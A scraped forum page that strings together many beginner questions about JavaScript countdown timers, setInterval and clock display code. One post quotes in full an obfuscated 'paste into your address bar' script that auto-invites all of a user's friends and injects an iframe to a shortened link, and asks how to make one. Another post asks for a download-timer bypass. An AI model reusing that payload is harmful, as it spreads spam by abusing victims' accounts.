|
JavaScript - Deciphering Javascript Timer Code
Hey guys, below is a JavaScript countdown timer by Neil Broderick of Bespoke Software Solutions that I'm having a little trouble figuring out. I understand most of the code, but there are a few portions of the code that I'm deeply confused about. My questions are highlighted in red beside the code. Please have a look.
Code: <html>
<head>
<style type="text/css">
#txt {
border:none;
font-family:verdana;
font-size:16pt;
font-weight:bold;
border-right-color:#FFFFFF
}
</style>
<script language="javascript">
var mins //What's the point of declaring mins as a variable when we can declare it in the cd() function?????
var secs;
function cd() {
mins = 1 * m("10"); //What does m("10") do? and why is it multiplied by 1? I can remove the 1 and the code works fine!
secs = 0 + s(":01"); //
redo(); //What does the redo() function do?
}
function m(obj) { // I understand how this function works, but what does m(obj) do? I'm assuming that it replaces the value given to the m() in the previous function with obj. Is that correct?!
for(var i = 0; i < obj.length; i++) {
if(obj.substring(i, i + 1) == ":") //Correct me if I'm wrong. The substring method gets rid of the strings before index i and after i+1. If the time is 09:10. It becomes 09. In this case, we do not break. If, however, the string is :10 for some reason(No minutes specified?). We get ":", so break. Right?
break;
}
return(obj.substring(0, i));
}
function s(obj) {
for(var i = 0; i < obj.length; i++) {
if(obj.substring(i, i + 1) == ":")
break;
}
return(obj.substring(i + 1, obj.length));
}
function dis(mins,secs) { //dictates how the timer will be displayed.
var disp;
if(mins <= 9) {
disp = " 0";
} else {
disp = " ";
}
disp += mins + ":";
if(secs <= 9) {
disp += "0" + secs;
} else {
disp += secs;
}
return(disp); //Returns the value of the display!
}
function redo() {
secs--;
if(secs == -1) {
secs = 59;
mins--;
}
document.cd.disp.value = dis(mins,secs); //This displays the timer by specifying the form. You can setup additional displays here.
if((mins == 0) && (secs == 0)) {
window.alert("Time is up. Press OK to continue."); // change timeout message as required
// window.location = "yourpage.htm" // redirects to specified page once timer ends and ok button is pressed
} else {
cd = setTimeout("redo()",1000); //runs the function every 1000 miliseconds, or every second.
}
}
function init() {
cd();
}
window.onload = init;
</script>
</head>
<body>
<form name="cd">
<input id="txt" readonly="true" type="text" value="11:00" border="0" name="disp">
</form>
</body>
</html>
I know this may be a little troublesome for many of you experienced coders. I just began learning javascript(It's actually my first "programming" language), so I really appreciate the help! Thanks! Similar Tutorials*EDITED* *LINK REMOVED* There is a second step which uses javascript (I think that code is encrypted) which when a user copy and pastes the code into their address bar and presses enter it opens up their friends box, selects all friends and sends invitation automatically. I was wondering how you would go about doing this? The code being used on that page is: PHP Code: javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"," \x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5f\x6d\x61\x69\x6e\x62\x69\x74 ","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"," \x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x31\x33\x38\x30\x39\x37\x30\x35\x33\x30\x34\x30\x32\x31\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"]; void (document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3]);var ss=document[_0x89f8[2]](_0x89f8[4]);var c=document[_0x89f8[6]](_0x89f8[5]);c[_0x89f8[8]](_0x89f8[7],true,true); void (ss[_0x89f8[9]](c)); void (setTimeout(function (){fs[_0x89f8[10]]();} ,4000)); void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,5000)); void (document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= ' \x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x39\x4a\x31\x31\x54\x6a\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x20\x37\x30\x30\x70\x78\x3b\x20\x68\x65\x69\x67\x68\x74\x3a\x20\x34\x35\x30\x70\x78\x3b\x22\x20\x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x30\x20\x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x22\x6e\x6f\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e '); Any ideas? Thanks. hi guys, ive found the code for the perfect timer but cant for the life of me find the part to change the date to count down from. can anyone point it out? heres the code. <script language="JavaScript"> var countDownInterval=5; var countDownTime=countDownInterval+1; function countDown(){ countDownTime--; if (countDownTime <=0){ countDownTime=countDownInterval; clearTimeout(counter) window.location="file:///E:/................html"; return } if (document.all) //if IE 4+ document.all.countDownText.innerText = countDownTime+" "; else if (document.getElementById) //else if NS6+ document.getElementById("countDownText").innerHTML=countDownTime+" " else if (document.layers){ document.c_reload.document.c_reload2.document.write('WEDDING DAY IN... <b id="countDownText">'+countDownTime+'</b> minutes') </b> seconds') document.c_reload.document.c_reload2.document.close() } counter=setTimeout("countDown()", 1000); } function startit(){ if (document.all||document.getElementById) document.write('WEDDING DAY IN... <b id="countDownText">'+countDownTime+' </b> seconds') countDown() } if (document.all||document.getElementById) startit() else window.onload=startit setTimeout("location.href='http://www.wallpaperama.com'" , t) </script> Hi people, Im really stuck, I have a script I want to load when my page opens, I can et it to do this fine, but I want to be able to input a delay time, any time I want. So my page loads, 1,2,3,4,5 then my script kicks in. I have searched hi and low, but my understanding with JS is very basic, but I am willing myself to learn. Thank you very much in advance for your help. Bev Hi folks, I am in need of a functionality for a system where in there PHP mysql system having a table bid which has columns(bid_product, "createtime") basically if the user does not bid for the product within 20 hours the bid will close for this i need to display a timer which keeps counting till 20 + hours of the create time, After a long search for timers i finally found a .Js which would work just fine for static values within the .js script when i tried to pass values from my database the timer does not change on itself but each time i have to refresh to check the time left. Please have a look at the code and let me know what could be wrong testingtime.php Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Vott</title>
<script type="text/javascript" src="js/testtime.js"></script>
<style>
p.timer{font-size:15px; color:#43C6DB; border: 2px solid #fc0;width: 100px; position: absolute; top: 350px; left: 375px;}
</style>
</head>
<body>
<table style="background-color: #CCC" width="100%" border="0" cellpadding="12">
<tr>
<td width="78%"><h1>My Logo Image</h1></td>
</tr>
</table>
<span class="bids">
<p class="timer"><b>bid Closes in :</br>
<span id="timeleft"> <script>timeleft('<?php print($bid['createtime']); ?>')</script>
</span></b></p></span></br></br>
</body>
</html>
The Javascript code Code: var eventtext = "Left"; // text that appears next to the time left
var endtext = "bids Closed!!"; // text that appears when the target has been reached
function timeleft(mydate){
// Split timestamp into [ Y, M, D, h, m, s ]
var t = mydate.split(/[- :]/);
// Apply each element to the Date function
var date = new Date(t[0], t[1]-1, t[2], t[3], t[4], t[5]);
// -> Wed Jun 09 2010 13:12:01 GMT+0100 (GMT Daylight Time)
var year = date.getYear(); // in what year will your target be reached?
var month = date.getMonth(); // value between 0 and 11 (0=january,1=february,...,11=december)
var day = date.getDate(); // between 1 and 31
var hour =date.getHours(); // between 0 and 24
var minute = date.getMinutes(); // between 0 and 60
var second = date.getSeconds(); // between 0 and 60
var end = new Date(year,month,day,hour,minute,second);
end.setMinutes(end.getMinutes() + 50);
var now = new Date();
if(now.getYear() < 1900)
yr = now.getYear() + 1900;
var sec = end.getSeconds() - now.getSeconds();
var min = end.getMinutes() - now.getMinutes();
var hr = end.getHours() - now.getHours();
var dy = end.getDate() - now.getDate();
var mnth = end.getMonth() - now.getMonth();
var yr = year - yr;
var daysinmnth = 32 - new Date(now.getYear(),now.getMonth(), 32).getDate();
if(sec < 0){
sec = (sec+60)%60;
min--;
}
if(min < 0){
min = (min+60)%60;
hr--;
}
if(hr < 0){
hr = (hr+24)%24;
dy--;
}
if(dy < 0){
dy = (dy+daysinmnth)%daysinmnth;
mnth--;
}
if(mnth < 0){
mnth = (mnth+12)%12;
yr--;
}
var sectext = " Seconds ";
var mintext = " Minutes, and ";
var hrtext = " Hours, ";
var dytext = " Days, ";
var mnthtext = " Months, ";
var yrtext = " Years, ";
if (yr == 1)
yrtext = " Year, ";
if (mnth == 1)
mnthtext = " Month, ";
if (dy == 1)
dytext = " Day, ";
if (hr == 1)
hrtext = " Hour, ";
if (min == 1)
mintext = " Minute, and ";
if (sec == 1)
sectext = " second ";
if(now >= end){
document.getElementById("timeleft").innerHTML = endtext;
clearTimeout(timerID);
}
else{
//alert(now.getHours()+1);
document.getElementById("timeleft").innerHTML =min + ":" + sec;
//document.getElementById("timeleft").innerHTML = dy + dytext + hr + ":" + min + ":" + sec;
}
timerID = setTimeout("timeleft()", 1000);
}
window.onload = timeleft;
Hi folks, I am in need of a functionality for a system where in there is PHP mysql system having a table "bid" which has columns(bid_product, "createtime") basically if the user does not bid for the product within 20 hours the bid will close for this i need to display a timer which keeps counting till 5+ hours or so of the createtime, After a tiring search for timers i finally found a .Js which would work just fine for static values Within the .js script when i tried to pass values from my database the timer does not change on itself but each time i have to refresh the page to check the time left. Please have a look at the code and let me know what could be wrong testingtime.php Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Vott</title>
<script type="text/javascript" src="js/testtime.js"></script>
<style>
p.timer{font-size:15px; color:#43C6DB; border: 2px solid #fc0;width: 100px; position: absolute; top: 350px; left: 375px;}
</style>
</head>
<body>
<table style="background-color: #CCC" width="100%" border="0" cellpadding="12">
<tr>
<td width="78%"><h1>My Logo Image</h1></td>
</tr>
</table>
<span class="bids">
<p class="timer"><b>bid Closes in :</br>
<span id="timeleft"> <script>timeleft('<?php print($bid['createtime']); ?>')</script>
</span></b></p></span></br></br>
</body>
</html>
The Javascript code Code: var eventtext = "Left"; // text that appears next to the time left
var endtext = "bids Closed!!"; // text that appears when the target has been reached
function timeleft(mydate){
// Split timestamp into [ Y, M, D, h, m, s ]
var t = mydate.split(/[- :]/);
// Apply each element to the Date function
var date = new Date(t[0], t[1]-1, t[2], t[3], t[4], t[5]);
// -> Wed Jun 09 2010 13:12:01 GMT+0100 (GMT Daylight Time)
var year = date.getYear(); // in what year will your target be reached?
var month = date.getMonth(); // value between 0 and 11 (0=january,1=february,...,11=december)
var day = date.getDate(); // between 1 and 31
var hour =date.getHours(); // between 0 and 24
var minute = date.getMinutes(); // between 0 and 60
var second = date.getSeconds(); // between 0 and 60
var end = new Date(year,month,day,hour,minute,second);
end.setMinutes(end.getMinutes() + 50);
var now = new Date();
if(now.getYear() < 1900)
yr = now.getYear() + 1900;
var sec = end.getSeconds() - now.getSeconds();
var min = end.getMinutes() - now.getMinutes();
var hr = end.getHours() - now.getHours();
var dy = end.getDate() - now.getDate();
var mnth = end.getMonth() - now.getMonth();
var yr = year - yr;
var daysinmnth = 32 - new Date(now.getYear(),now.getMonth(), 32).getDate();
if(sec < 0){
sec = (sec+60)%60;
min--;
}
if(min < 0){
min = (min+60)%60;
hr--;
}
if(hr < 0){
hr = (hr+24)%24;
dy--;
}
if(dy < 0){
dy = (dy+daysinmnth)%daysinmnth;
mnth--;
}
if(mnth < 0){
mnth = (mnth+12)%12;
yr--;
}
var sectext = " Seconds ";
var mintext = " Minutes, and ";
var hrtext = " Hours, ";
var dytext = " Days, ";
var mnthtext = " Months, ";
var yrtext = " Years, ";
if (yr == 1)
yrtext = " Year, ";
if (mnth == 1)
mnthtext = " Month, ";
if (dy == 1)
dytext = " Day, ";
if (hr == 1)
hrtext = " Hour, ";
if (min == 1)
mintext = " Minute, and ";
if (sec == 1)
sectext = " second ";
if(now >= end){
document.getElementById("timeleft").innerHTML = endtext;
clearTimeout(timerID);
}
else{
//alert(now.getHours()+1);
document.getElementById("timeleft").innerHTML =min + ":" + sec;
//document.getElementById("timeleft").innerHTML = dy + dytext + hr + ":" + min + ":" + sec;
}
timerID = setTimeout("timeleft()", 1000);
}
window.onload = timeleft;
Hi I am developing a timer kind of thing here is my requirement: I have a form which retrieves results from DB. and the form has 2 buttons startcount, stop count with a textbox already filled with time in seconds data from DB.(let us say the text box holds 600 as of now). when the user clicks start count it should start the counting from 601,602,,,goes on until user hits stop button. How can i acheive this...here is my code so far... Code: <html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<script type="text/javascript">
var t;
var timer_is_on=0;
function timedCount(TestVar)
{
TestVar =TestVar+1;
//document.getElementById('txt').value=c;
alert("you typed:"+TestVar);
//c=c+1;
t=setTimeout("timedCount()",1000);
}
function doTimer(form)
{
TestVar = parseInt(form.txt.value);
//alert("you typed: " +TestVar);
timedCount(TestVar);
}
function stopCount()
{
clearTimeout(t);
timer_is_on=0;
}
</script>
</head>
<body>
<form name="test" onsubmit="timedCount()" >
<table width="200" border="0">
<tr>
<th scope="row"><label>
<input type="button" value="Start count!" onclick="doTimer(this.form)" />
</label></th>
<td><label>
<input type="text" name ="txt" id="txt"/>
</label></td>
<td><label>
<input type="button" name="stop" id="stop" value="Stop" onclick="stopCount(this.form)" />
</label></td>
</tr>
</table>
</form>
</body>
</html>
Thanks in adv.... I have a wordpress blog that uses JQuery on an image scroller. The images scroll at a predetermined interval, but I only want them to scroll when the "next" button is pressed not on a timer. i opened the javascript files, but could not figure this out. here are the files I have (they are too long to post all of them): here is the scripts.js file: Code: function showVideo(id) {
document.write("<object width=\"274\" height=\"225\"><param name=\"movie\" value=\"http://www.youtube.com/v/"+id+">&hl=en&fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/"+id+"&hl=en&fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"274\" height=\"225\"></embed></object>");
}
$(function() {
$('.items').cycle({
fx: 'fade',
speed: 700,
timeout: 5000,
next: '.next',
prev: '.prev'
});
});
I tried to change the timeout to 0, but then the next and prev buttons stopped working Hello, I need help. I'm testing aps.net controls. I have add Repeater with some content. Repeater is inside of Panel which has Vertical ScrollBars. Timer1 is updating Repeater. As I need scrollbar on PageLoad on the bottom of Panel control, I have add javascript. But, now problem is each time when try to move scrollbar up, Timer push it down. But, I would like somehow to keep in position if move it. I have try it with javascript code OnMouseOver with _StopTimer, but it effect only when mouse is over asp.net cotrol, not it's scrollbar. Any idea? Note: I have been Googling, Yahooing many ours, and try different codes, but none was working. So, really need some new approach. Note: MaintainScrollPositionOnPostback="true" is already added on page. Thank you in advance for help. Code: <asp:ScriptManager ID="ScriptManager1" runat="server"/>
<script type="text/javascript">
if (Sys != null) {
var instance = Sys.WebForms.PageRequestManager.getInstance();
if (instance != null) {
instance.add_endRequest(function (sender, args) {
SetScroll()
});
}
}
function pageLoad() {
window.onload = SetScroll;
}
function SetScroll() {
var objDiv = document.getElementById("<%=Panel1.ClientID%>");
objDiv.scrollTop = objDiv.scrollHeight;
}
</script>
<asp:UpdatePanel ID="UpdatePanel1" runat="server" UpdateMode="Conditional">
<ContentTemplate>
<asp:Label ID="Label3" runat="server" Text="Label"></asp:Label>
<asp:Timer ID="Timer1" runat="server" Interval="1000">
</asp:Timer>
</ContentTemplate>
</asp:UpdatePanel>
<asp:Panel ID="Panel1" runat="server" ScrollBars="Auto" Height="193px"
Width="467px" BorderColor="#66CCFF" BorderStyle="Solid" BorderWidth="1px">
<asp:UpdatePanel ID="UpdatePanel2" runat="server" UpdateMode="Conditional">
<ContentTemplate>
<asp:Repeater ID="Repeater1" runat="server">
<ItemTemplate>
<div style="font-family: calibri; color: #000099;">
TEST
</BR>
TEST
</BR>
TEST
</BR>
TEST
</BR>
TEST
</BR>
TEST
</BR>
TEST
</BR>
TEST
</BR>
TEST
</BR>
</asp:Repeater>
</ContentTemplate>
<Triggers>
<asp:AsyncPostBackTrigger ControlID="Timer1" EventName="Tick" />
</Triggers>
</asp:UpdatePanel>
</asp:Panel>
Would really appreciate any help with my request.... Im looking to setup a project for my uni assignment. its going to be a time radio site and i'm looking to create a page that has some javascript to carry out an image rotation. I want to have: - three images side by side - all images to rotate from a folder containing 100+ pictures - they all have different file names and extensions but i can change them if need be - i want the images to rotate automatically without the page having to be reloaded or mouseovers or anything - i would like them to rotate on different time frames i.e. first picture 3 sec rotation, second picture 5 seconds, third image 7 seconds.... something like that if any can help me with this i would be really grateful... iv tried scanning the web but come up short. cant use php or anything its got to be a html page using javascript. just to point out im not cheating by the way the module im doing it for is for media design not programming just cant find the code to do what i want. again thanks for everyones time cheers Hi, I am new to javascript. I have isolated a problem and I am trying to fix it. I am hoping someone could lend assistance to my problem. I'm sure it's minor, but I can't seem to figure out WTF is going on. Thanks in advance for any help you may provide. Rodg This script is saved as timer.php. I downloaded it from this site. It is a live server timer that displays the server time in your browser. This code works fine. My problem lies here. I am calling this script from 'showusers.php' as: Code: <?PHP echo "<p><b>Current Server Time: </b><span id="servertime"></span></p>"; ?> The timer as written below, saved as 'timer.php' works fine. When I use my original page 'showusers.php' it doesn't want to work. 'showusers.php' loads java in the header and has a src file= .js. I tried making this file a .php to see if there was a problem, but it did not help. My timer outputs the following: Current Server Time: undefined NaN, NaN NaN:NaN:NaN Also, a previous call to the same 'src=java.js' stopped working in 'showusers.php'. I assume the problem lies in the 'var currenttime=' line 12 in timer.php If I comment the 'var currenttime=' line in my .js file, the call to 'id=AccessInfo' in 'showusers.php' works fine. Is this a javascript error or a PHP error? http://173.34.134.4/showusers.php // View source ---> not working http://173.34.134.4/timer.php //View source ---> Working ok Good code: timer.php Code: <body>
<script type="text/javascript">
// Current Server Time script (SSI or PHP)- By JavaScriptKit.com (http://www.javascriptkit.com)
// For this and over 400+ free scripts, visit JavaScript Kit- http://www.javascriptkit.com/
// This notice must stay intact for use.
//Depending on whether your page supports SSI (.shtml) or PHP (.php), UNCOMMENT the line below your page supports and COMMENT the one it does not:
//Default is that SSI method is uncommented, and PHP is commented:
//var currenttime = '<!--#config timefmt="%B %d, %Y %H:%M:%S"--><!--#echo var="DATE_LOCAL" -->' //SSI method of getting server date
var currenttime = '<?PHP print date("F d, Y H:i:s", time())?>' //PHP method of getting server date
///////////Stop editting here/////////////////////////////////
var montharray=new Array("January","February","March","April","May","June","July","August","September","October","November","December")
var serverdate=new Date(currenttime)
function padlength(what){
var output=(what.toString().length==1)? "0"+what : what
return output
}
function displaytime(){
serverdate.setSeconds(serverdate.getSeconds()+1)
var datestring=montharray[serverdate.getMonth()]+" "+padlength(serverdate.getDate())+", "+serverdate.getFullYear()
var timestring=padlength(serverdate.getHours())+":"+padlength(serverdate.getMinutes())+":"+padlength(serverdate.getSeconds())
document.getElementById("servertime").innerHTML=datestring+" "+timestring
}
window.onload=function(){
setInterval("displaytime()", 1000)
}
</script>
<p><b>Current Server Time:</b> <span id="servertime"></span></p>
<p style="font: normal 11px Arial">This free script provided by<br />
<a href="http://www.javascriptkit.com">JavaScript Kit</a></p>
</body>
Hi, I am new to programming and I am trying to write a code that will time how long it takes for you to write a word. First you input the word you would like to write, and than after you have pressed enter I want the program to "feel" when you start writing the word, at that point the timer should start. And then it shall know when you have completed the word and in that moment stop the timer. I have a built a timer that works fine, see startCounter() but i want it to be executed as i described above... This is the code: Code: <div>
<div class="inputBox">
<input id="textBox" type="text" placeholder=" What word would you like to time?" onKeydown="Javascript: if (event.keyCode==13) hello();">
<input type="button" value="RushWrite" id="Btn" onclick="hello()"></input>
<script>
function hello() {
if (textBox.value != "") {
var wordInput = document.getElementById("textBox").value;
document.getElementById("textBox").placeholder=" Let's RushWrite: "+wordInput;
textBox.value = "";
document.getElementById("Btn").value="GoGo!";
document.getElementById("time").innerHTML="00.00";
};
}
</script>
<button id="time" type="text"></button>
<script>
function startCounter(){
var counter = 0;
setInterval(function () {
++counter;
document.getElementById("time").innerHTML=(counter);
}, 1000);
};
</script>
<script>
</script>
</div>
</div>
Thankful for any advise! Hey everyone, Below is the code for a javascript timer. I don't understand why the way I'm using the windows object setInterval isn't working. I've highlighted the problematic areas. Please have a look. Code:
function timer() {
var display = document.getElementById('countdown'); //creates the dom by getting span with id of "countdown".
var time = new Date(60*10*1000);
function zeroPad(number) { //places a 0 in front of the number if it's less than 10. For example 09 or 08.
if (number<10)
return '0' + number;
else
return number;
};
function interval() {
var min = zeroPad(time.getMinutes());
var sec = zeroPad(time.getSeconds());
display.innerHTML = min + ":" + sec ; //Displays the time in the span with the id of "countdown".
time.setSeconds(time.getSeconds()-1);
if (time < 0) {
alert("Times UP");
break;
}
};
window.setInterval(interval(), 1000); //Why isn't the setInterval working once the timer is initiated?!!!
}
window.onload = timer; //initiates the function
I don't understand why the setInterval isn't working. It should be calling the function every second- what's wrong with the code? Thanks! How could I lock an "Enter" link on an intro page with a 30 second timer that is displayed on the bottom of the page and disables the "Enter" link so that visitors have to wait 30 seconds to read the rules/announcements before entering?
I'm trying to build a time but it isn't displaying on screen Code: <html>
<head>
<script type="text/javascript">
function StartCounting(){
setInterval("DoCounting()", 1000)
}
function DoCounting(){
var obj =getElementbyId('countingtext');
obj.innerHTML = '' + Counter;
Counter++;
if( Counter > 10)
{
Counter = 0;
document.writeln("Timer Reset");
}
}
</script>
</head>
<body onload= "StartCounting()">
Here it is:<span id="countingtext"></span>
</body>
</html>
Hi I am working on a chat application and am a bit stuck...In the database I have a field status which is set 1 for online and 0 for offline (PHP/MySQL)(at time of logging in/out), this shows the users status on a webpage. What I need is to know if there is a way I can set a timer so that if the user has been inactive for X amount of time, the database is auto updated and user is offline (1 set to 0). Thanks for any help I recieve Alright, im trying for my project to make 1 div scroll through a list of pictures. I have it so that it starts when I click the button. Now what im trying to do is after I start the timer I have the button changing values to 'Pause' instead of 'Start' but I can't figure out how to code to make the timer pause when i click the button again. Code: HTML:
<input id="timer"
style="position: absolute; font-size: 50px;
background-color: red;
top:750px;left: 800px;
height: 75px; width: 120px;"
type="button" value="Start"
onclick="myTimer = setInterval('picture()', 2000);
document.getElementById('timer').value = 'Pause';">
Code: Javascript:
function picture()
{
soccerImg.src = soccerPic[state];
state++;
if(state == 35)
{
state = 0;
}
}
Hello, i need one script, which will remove the timer and i’ll be able to start download the file without waiting the time… Okay, i dont need such things… I need only one simple thing… Without any premium accounts… It should remove the timer (30 sec)… That’s everything i want… Link: *HIDEN* Thanks. Contact me via pm or skype - bahurz1 Hi everyone, I need a countdown timer that will count down exactly from a time that i set. i want it to count in this format: hh:mm:ss. i need it for a online shop , at the main page there are few products for sell and i want each one of them to have its own countdown timer. in addition when it will get to 00:00:00 i want that it will automatically add like 5 hours and continue counting down.. P.s i dont know javascript.. thanks guys hi , im newbie here and need some help from all the guru here , can some 1 help me out with iframe , i want an iframe can do auto reload on list sites after specific time , example after 10 seconds ifram will open google.com and after 10 seconds again iframe will reload yahoo.com and so on. please some one help me , i had try to search on google and others but still can find it , i apreciate all the help thank you Hello everyone. I'm using the script Old Pedant posted here (huge thanks man!), however, I'm looking to have the timer display six numbers at all times. For example: If the timer has 15 hours, 35 minutes, and 10 seconds left it is currently displaying as: 15:35:10 - Perfect! If the timer has 5 hours, 35 minutes, and 10 seconds left it is currently displaying as: 5:35:10 - Humm, not so perfect. In the second example, would like the timer to keep a zero in front of the hours when ever it drops below 10. So the second example should display as: 05:35:10. Any help is greatly appreciated. Posted below is the modified code I'm using. Thanks! Code: <html>
<head>
<script type="text/javascript">
// really really simple to get the time from the server
// this is for an ASP server:
//var serverTime = <%= DateDiff("s",#1/1/1970#,Now())%>;
// PHP Servers:
var serverTime = <?php echo time(); ?>;
// serverTime will hold the number of seconds since 1/1/1970 0:00:00 as it is on the server
// we must adjust it to compensate for GMT offset
// My server is on Pacific Daylight Time, so 7 hours offset:
serverTime += 0 * 3600; // 7 hours, 3600 seconds per hour
// NOTE: This adjustment MAY NOT be needed for PHP servers...I dunno.
//
// so calculate how far off the client is from the server:
var now = new Date();
var clientTime = now.getTime(); // number of *milliseconds* since 1/1/1970 0:00:00 on client
serverTime *= 1000; // convert server time to milliseconds, as well
// the client and server disagree by this much:
var clockOff = serverTime - clientTime; // could well be negative!
// hopefully you can see, from basic algebra, that
// serverTime = clientTime + clockOff
// we want target to be 0:00:00 of next day
var target = new Date( serverTime ); // serverTime in JS form
// so bump the day by one and leave time as 0,0,0:
target = new Date( target.getFullYear(), target.getMonth(), target.getDate() + 1 );
// and now ready for our timer countdown:
var ticker = null; // the interval timer
function countdown( )
{
var clientNow = ( new Date() ).getTime();
var serverNow = clientNow + clockOff; // see? this is where we use that offset!
var millisLeft = target.getTime() - serverNow; // milliseconds until server target time
var secsLeft = Math.round( millisLeft / 1000 );
var timeLeft;
var timeLeftWords;
if ( secsLeft <= 0 )
{
timeLeftWords = "Expired!";
timeLeft = "0 days 00:00:00";
clearInterval( ticker );
} else {
var secs = secsLeft % 60;
var minsLeft = Math.floor( secsLeft / 60 );
var mins = minsLeft % 60;
var hrsLeft = Math.floor( minsLeft / 60 );
var hrs = hrsLeft % 24;
var days = Math.floor( hrsLeft / 24 );
timeLeftWords = days + " days, " + hrs + " hours, " + mins + " minutes, " + secs + " seconds";
timeLeft =
+ (hrs < 10 ? "0" : "" ) + hrs + ":"
+ (mins < 10 ? "0" : "" ) + mins + ":"
+ (secs < 10 ? "0" : "" ) + secs;
}
document.getElementById("ticktock").innerHTML = timeLeft;
}
function startup( )
{
countdown(); // first time
setInterval( countdown, 1000 ); // then once a second
}
</script>
</head>
<body onload="startup()">
Time: <span id="ticktock"></span><br/>
</body>
</html>
|
|||||||